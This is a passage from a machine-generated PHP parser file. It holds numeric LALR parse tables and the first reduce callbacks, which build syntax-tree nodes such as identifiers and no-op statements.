137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 602, -21, -21, -21, -21, 602, -21, -21, -21, -21, -21, -21, -21, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, -21, 602, 602, 602, -21, 68, -21, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 602, 0, 0, 602, -21, 602, -21, 602, -21, -21, 602, 602, 602, 602, 602, 602, 602, -21, -21, -21, -21, -21, -21, 0, 324, 324, 324, 324, -21, -21, -21, -21, 68, 68, 147, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 324, 324, -3, -3, 68, 68, 68, 68, 68, 147, 68, 68, -23, 673, 673, 673, 380, 380, 380, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 380, -23, 0, -23, 0, 68, -23, 673, -23, 380, 673, 673, -23, 814, 604, 604, 604, 604, 372, 7, 0, 0, 673, 673, 0, 0, 0, 0, 0, 673, 0, 0, 0, 0, 0, 0, 814, 0, 653, 0, 0, 0, 0, 658, 288, 0, 677, 456, 0, 0, 0, 0, 0, 0, 677, 456, 530, 530, 0, 665, 658, 658, 658, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 372 ); protected $actionDefault = array( 3,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767, 540, 540, 495,32767,32767, 32767,32767,32767,32767,32767,32767,32767, 297, 297, 297, 32767,32767,32767, 528, 528, 528, 528, 528, 528, 528, 528, 528, 528, 528,32767,32767,32767,32767,32767,32767, 381,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767, 387, 545,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767, 362, 363, 365, 366, 296, 548, 529, 245, 388, 544, 295, 247, 325, 499,32767,32767,32767, 327, 122, 256, 201, 498, 125, 294, 232, 380, 382, 326, 301, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 300, 454, 359, 358, 357, 456,32767, 455, 492, 492, 495,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767, 323, 483, 482, 324, 452, 328, 453, 331, 457, 460, 329, 330, 347, 348, 345, 346, 349, 458, 459, 476, 477, 474, 475, 299, 350, 351, 352, 353, 478, 479, 480, 481,32767,32767, 280, 539, 539, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767, 338, 339, 467, 468,32767, 236, 236, 236, 236, 281, 236,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767, 333, 334, 332, 462, 463, 461, 428,32767,32767,32767, 430,32767, 32767,32767,32767,32767,32767,32767,32767, 500,32767,32767, 32767,32767,32767, 513, 417, 171,32767, 409,32767, 171, 171, 171, 171,32767, 220, 222, 167,32767, 171,32767, 486,32767,32767,32767,32767,32767, 518, 343,32767,32767, 116,32767,32767,32767, 555,32767, 513,32767, 116,32767, 32767,32767,32767, 356, 335, 336, 337,32767,32767, 517, 511, 470, 471, 472, 473,32767, 464, 465, 466, 469, 32767,32767,32767,32767,32767,32767,32767,32767, 425, 431, 431,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767, 516, 515,32767, 410, 494, 186, 184, 184,32767, 206, 206,32767,32767, 188, 487, 506,32767, 188, 173,32767, 398, 175, 494,32767,32767, 238,32767, 238,32767, 398, 238,32767,32767, 238,32767, 411, 435, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767, 377, 378, 489, 502,32767, 503,32767, 409, 341, 342, 344, 320,32767, 322, 367, 368, 369, 370, 371, 372, 373, 375,32767, 415,32767, 418,32767,32767,32767, 255,32767, 553,32767,32767, 304, 553,32767,32767,32767, 547,32767,32767, 298,32767,32767, 32767,32767, 251,32767, 169,32767, 537,32767, 554,32767, 511,32767, 340,32767,32767,32767,32767,32767,32767,32767, 32767,32767, 512,32767,32767,32767,32767, 227,32767, 448, 32767, 116,32767,32767,32767, 187,32767,32767, 302, 246, 32767,32767, 546,32767,32767,32767,32767,32767,32767,32767, 32767, 114,32767, 170,32767,32767,32767, 189,32767,32767, 511,32767,32767,32767,32767,32767,32767,32767, 293,32767, 32767,32767,32767,32767,32767,32767, 511,32767,32767, 231, 32767,32767,32767,32767,32767,32767,32767,32767,32767, 411, 32767, 274,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767, 127, 127, 3, 127, 127, 258, 3, 258, 127, 258, 258, 127, 127, 127, 127, 127, 127, 127, 127, 127, 127, 214, 217, 206, 206, 164, 127, 127, 266 ); protected $goto = array( 166, 140, 140, 140, 166, 187, 168, 144, 147, 141, 142, 143, 149, 163, 163, 163, 163, 144, 144, 165, 165, 165, 165, 165, 165, 165, 165, 165, 165, 165, 138, 159, 160, 161, 162, 184, 139, 185, 493, 494, 377, 495, 499, 500, 501, 502, 503, 504, 505, 506, 967, 164, 145, 146, 148, 171, 176, 186, 203, 253, 256, 258, 260, 263, 264, 265, 266, 267, 268, 269, 277, 278, 279, 280, 303, 304, 328, 329, 330, 394, 395, 396, 542, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 150, 151, 152, 167, 153, 169, 154, 204, 170, 155, 156, 157, 205, 158, 136, 620, 560, 756, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 1108, 628, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 1108, 757, 888, 888, 508, 1200, 1200, 400, 606, 508, 536, 536, 568, 532, 534, 534, 496, 498, 524, 540, 569, 572, 583, 590, 852, 852, 852, 852, 847, 853, 174, 585, 519, 600, 601, 177, 178, 179, 401, 402, 403, 404, 173, 202, 206, 208, 257, 259, 261, 262, 270, 271, 272, 273, 274, 275, 281, 282, 283, 284, 305, 306, 331, 332, 333, 406, 407, 408, 409, 175, 180, 254, 255, 181, 182, 183, 497, 497, 785, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 509, 578, 582, 626, 749, 509, 544, 545, 546, 547, 548, 549, 550, 551, 553, 586, 338, 559, 321, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 559, 530, 349, 655, 555, 587, 352, 414, 591, 575, 604, 885, 611, 612, 881, 616, 617, 623, 625, 630, 632, 298, 296, 296, 296, 298, 290, 299, 944, 610, 816, 1170, 613, 436, 436, 375, 436, 436, 436, 436, 436, 436, 436, 436, 436, 436, 436, 436, 436, 436, 1072, 1084, 1083, 945, 1065, 1072, 895, 895, 895, 895, 1178, 895, 895, 1212, 1212, 1178, 388, 858, 561, 755, 1072, 1072, 1072, 1072, 1072, 1072, 3, 4, 384, 384, 384, 1212, 874, 856, 854, 856, 654, 465, 511, 883, 878, 1089, 541, 384, 537, 384, 567, 384, 1026, 19, 15, 371, 384, 1226, 510, 1204, 1192, 1192, 1192, 510, 906, 372, 522, 533, 554, 912, 514, 1068, 1069, 13, 1065, 378, 912, 1158, 594, 23, 965, 386, 386, 386, 602, 1066, 1169, 1066, 937, 447, 449, 631, 752, 1177, 1067, 1109, 614, 935, 1177, 605, 1197, 391, 1211, 1211, 543, 892, 386, 1194, 1194, 1194, 399, 518, 1016, 901, 389, 771, 529, 752, 340, 752, 1211, 518, 518, 385, 781, 1214, 770, 772, 1063, 910, 774, 1058, 1176, 659, 953, 514, 782, 862, 915, 450, 573, 1155, 0, 463, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 513, 528, 0, 0, 0, 0, 513, 0, 528, 0, 350, 351, 0, 609, 512, 515, 438, 439, 1064, 618, 0, 0, 0, 0, 0, 0, 0, 0, 0, 779, 1219, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 777, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 523, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 301, 301 ); protected $gotoCheck = array( 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 57, 68, 15, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 126, 9, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 16, 76, 76, 68, 76, 76, 51, 51, 68, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 68, 68, 68, 68, 68, 68, 27, 66, 101, 66, 66, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 117, 117, 29, 117, 117, 117, 117, 117, 117, 117, 117, 117, 117, 117, 117, 117, 117, 117, 61, 61, 61, 6, 117, 110, 110, 110, 110, 110, 110, 110, 110, 110, 110, 125, 57, 125, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 32, 71, 32, 32, 69, 69, 69, 32, 40, 40, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 5, 5, 5, 5, 5, 5, 5, 97, 62, 50, 81, 62, 57, 57, 62, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 57, 124, 124, 97, 81, 57, 57, 57, 57, 57, 118, 57, 57, 142, 142, 118, 12, 33, 12, 14, 57, 57, 57, 57, 57, 57, 30, 30, 13, 13, 13, 142, 14, 14, 14, 14, 14, 57, 14, 14, 14, 34, 2, 13, 109, 13, 2, 13, 34, 34, 34, 34, 13, 13, 122, 140, 9, 9, 9, 122, 83, 58, 58, 58, 34, 13, 13, 81, 81, 58, 81, 46, 13, 131, 127, 34, 101, 123, 123, 123, 34, 81, 81, 81, 8, 8, 8, 8, 11, 119, 81, 8, 8, 8, 119, 49, 138, 48, 141, 141, 47, 78, 123, 119, 119, 119, 123, 47, 102, 80, 17, 23, 9, 11, 18, 11, 141, 47, 47, 11, 23, 141, 23, 24, 115, 84, 25, 113, 119, 73, 99, 13, 26, 70, 85, 64, 65, 130, -1, 108, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 9, 9, -1, -1, -1, -1, 9, -1, 9, -1, 71, 71, -1, 13, 9, 9, 9, 9, 13, 13, -1, -1, -1, -1, -1, -1, -1, -1, -1, 9, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 101, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 5, 5 ); protected $gotoBase = array( 0, 0, -184, 0, 0, 356, 290, 0, 488, 149, 0, 182, 85, 118, 426, 112, 203, 179, 208, 0, 0, 0, 0, 162, 190, 198, 120, 27, 0, 272, -224, 0, -274, 406, 32, 0, 0, 0, 0, 0, 330, 0, 0, -24, 0, 0, 440, 485, 213, 218, 371, -74, 0, 0, 0, 0, 0, 107, 110, 0, 0, -11, -72, 0, 104, 95, -405, 0, -94, 41, 119, -82, 0, 164, 0, 0, -79, 0, 197, 0, 204, 43, 0, 441, 171, 121, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 100, 0, 115, 0, 195, 210, 0, 0, 0, 0, 0, 86, 427, 259, 0, 0, 116, 0, 174, 0, -5, 117, 196, 0, 0, 161, 170, 93, -21, -48, 273, 0, 0, 91, 271, 0, 0, 0, 0, 0, 0, 216, 0, 437, 187, 102, 0, 0 ); protected $gotoDefault = array( -32768, 467, 663, 2, 664, 834, 739, 747, 597, 481, 629, 581, 380, 1188, 791, 792, 793, 381, 367, 482, 379, 410, 405, 780, 773, 775, 783, 172, 411, 786, 1, 788, 517, 824, 1017, 364, 796, 365, 589, 798, 526, 800, 801, 137, 382, 383, 527, 483, 390, 576, 815, 276, 387, 817, 366, 818, 827, 370, 464, 454, 459, 556, 608, 432, 446, 570, 564, 535, 1081, 565, 861, 348, 869, 660, 877, 880, 484, 557, 891, 451, 899, 1094, 397, 905, 911, 916, 287, 919, 417, 412, 584, 924, 925, 5, 929, 621, 622, 8, 312, 952, 598, 966, 420, 1036, 1038, 485, 486, 521, 458, 507, 525, 487, 1059, 440, 413, 1062, 488, 489, 433, 434, 1078, 354, 1163, 353, 448, 320, 1150, 579, 1113, 455, 1203, 1159, 347, 490, 491, 376, 1182, 392, 1198, 437, 1205, 1213, 343, 539, 566 ); protected $ruleToNonTerminal = array( 0, 1, 3, 3, 2, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 8, 8, 9, 10, 11, 11, 12, 12, 13, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 18, 18, 19, 19, 21, 21, 17, 17, 22, 22, 23, 23, 24, 24, 25, 25, 20, 20, 26, 28, 28, 29, 30, 30, 32, 31, 31, 31, 31, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 14, 14, 54, 54, 56, 55, 55, 48, 48, 58, 58, 59, 59, 60, 60, 15, 16, 16, 16, 63, 63, 63, 64, 64, 67, 67, 65, 65, 69, 69, 41, 41, 50, 50, 53, 53, 53, 52, 52, 70, 42, 42, 42, 42, 71, 71, 72, 72, 73, 73, 39, 39, 35, 35, 74, 37, 37, 75, 36, 36, 38, 38, 49, 49, 49, 61, 61, 77, 77, 78, 78, 80, 80, 80, 79, 79, 62, 62, 81, 81, 81, 82, 82, 83, 83, 83, 44, 44, 84, 84, 84, 45, 45, 85, 85, 86, 86, 66, 87, 87, 87, 87, 92, 92, 93, 93, 94, 94, 94, 94, 94, 95, 96, 96, 91, 91, 88, 88, 90, 90, 98, 98, 97, 97, 97, 97, 97, 97, 89, 89, 100, 99, 99, 46, 46, 40, 40, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 34, 34, 47, 47, 105, 105, 106, 106, 106, 106, 112, 101, 101, 108, 108, 114, 114, 115, 116, 116, 116, 116, 116, 116, 68, 68, 57, 57, 57, 57, 102, 102, 120, 120, 117, 117, 121, 121, 121, 121, 103, 103, 103, 107, 107, 107, 113, 113, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 27, 27, 27, 27, 27, 27, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 111, 111, 104, 104, 104, 104, 127, 127, 130, 130, 129, 129, 131, 131, 51, 51, 51, 51, 133, 133, 132, 132, 132, 132, 132, 134, 134, 119, 119, 122, 122, 118, 118, 136, 135, 135, 135, 135, 123, 123, 123, 123, 110, 110, 124, 124, 124, 124, 76, 137, 137, 138, 138, 138, 109, 109, 139, 139, 140, 140, 140, 140, 140, 125, 125, 125, 125, 142, 143, 141, 141, 141, 141, 141, 141, 141, 144, 144, 144 ); protected $ruleToLength = array( 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 5, 4, 3, 4, 2, 3, 1, 1, 7, 6, 3, 1, 3, 1, 3, 1, 1, 3, 1, 3, 1, 2, 3, 1, 3, 3, 1, 3, 2, 0, 1, 1, 1, 1, 1, 3, 5, 8, 3, 5, 9, 3, 2, 3, 2, 3, 2, 3, 3, 3, 3, 1, 2, 2, 5, 7, 9, 5, 6, 3, 3, 2, 2, 1, 1, 1, 0, 2, 8, 0, 4, 1, 3, 0, 1, 0, 1, 0, 1, 10, 7, 6, 5, 1, 2, 2, 0, 2, 0, 2, 0, 2, 1, 3, 1, 4, 1, 4, 1, 1, 4, 1, 3, 3, 3, 4, 4, 5, 0, 2, 4, 3, 1, 1, 1, 4, 0, 2, 3, 0, 2, 4, 0, 2, 0, 3, 1, 2, 1, 1, 0, 1, 3, 4, 6, 1, 1, 1, 0, 1, 0, 2, 2, 3, 3, 1, 3, 1, 2, 2, 3, 1, 1, 2, 4, 3, 1, 1, 3, 2, 0, 1, 3, 3, 9, 3, 1, 3, 0, 2, 4, 5, 4, 4, 4, 3, 1, 1, 1, 3, 1, 1, 0, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 3, 1, 1, 3, 3, 1, 0, 1, 1, 3, 3, 4, 4, 1, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 1, 3, 5, 4, 3, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 3, 2, 1, 2, 10, 11, 3, 3, 2, 4, 4, 3, 4, 4, 4, 4, 7, 3, 2, 0, 4, 1, 3, 2, 2, 4, 6, 2, 2, 4, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 3, 4, 4, 0, 2, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 2, 1, 3, 1, 4, 3, 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 5, 4, 4, 3, 1, 3, 1, 1, 3, 3, 0, 2, 0, 1, 3, 1, 3, 1, 1, 1, 1, 1, 6, 4, 3, 4, 2, 4, 4, 1, 3, 1, 2, 1, 1, 4, 1, 1, 3, 6, 4, 4, 4, 4, 1, 4, 0, 1, 1, 3, 1, 1, 4, 3, 1, 1, 1, 0, 0, 2, 3, 1, 3, 1, 4, 2, 2, 2, 2, 1, 2, 1, 1, 1, 4, 3, 3, 3, 6, 3, 1, 1, 1 ); protected function initReduceCallbacks() { $this->reduceCallbacks = [ 0 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 1 => function ($stackPos) { $this->semValue = $this->handleNamespaces($this->semStack[$stackPos-(1-1)]); }, 2 => function ($stackPos) { if (is_array($this->semStack[$stackPos-(2-2)])) { $this->semValue = array_merge($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)]); } else { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }; }, 3 => function ($stackPos) { $this->semValue = array(); }, 4 => function ($stackPos) { $startAttributes = $this->lookaheadStartAttributes; if (isset($startAttributes['comments'])) { $nop = new Stmt\Nop($this->createCommentNopAttributes($startAttributes['comments'])); } else { $nop = null; }; if ($nop !== null) { $this->semStack[$stackPos-(1-1)][] = $nop; } $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 5 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 6 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 7 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 8 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 9 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 10 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 11 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 12 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 13 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 14 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 15 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 16 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 17 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 18 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 19 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 20 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 21 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 22 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 23 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 24 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 25 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 26 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 27 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 28 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 29 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 30 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 31 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 32 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 33 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 34 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 35 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 36 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 37 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 38 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 39 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 40 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 41 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 42 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 43 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 44 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 45 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 46 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 47 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 48 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 49 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 50 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 51 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 52 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 53 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 54 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 55 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 56 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 57 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 58 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 59 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 60 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 61 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 62 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 63 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 64 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 65 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 66 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 67 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 68 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 69 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 70 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 71 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 72 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 73 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 74 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 75 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 76 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 77 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 78 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 79 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 80 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 81 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 82 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 83 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 84 => function ($stackPos) { $this->semValue = new Node\Identifier($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 85 => function ($stackPos) { $this->semValue = new Node\Identifier($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 86 => function ($stackPos) { $this->semValue = new Node\Identifier($this->semStack[$stackPos-(1-1)], 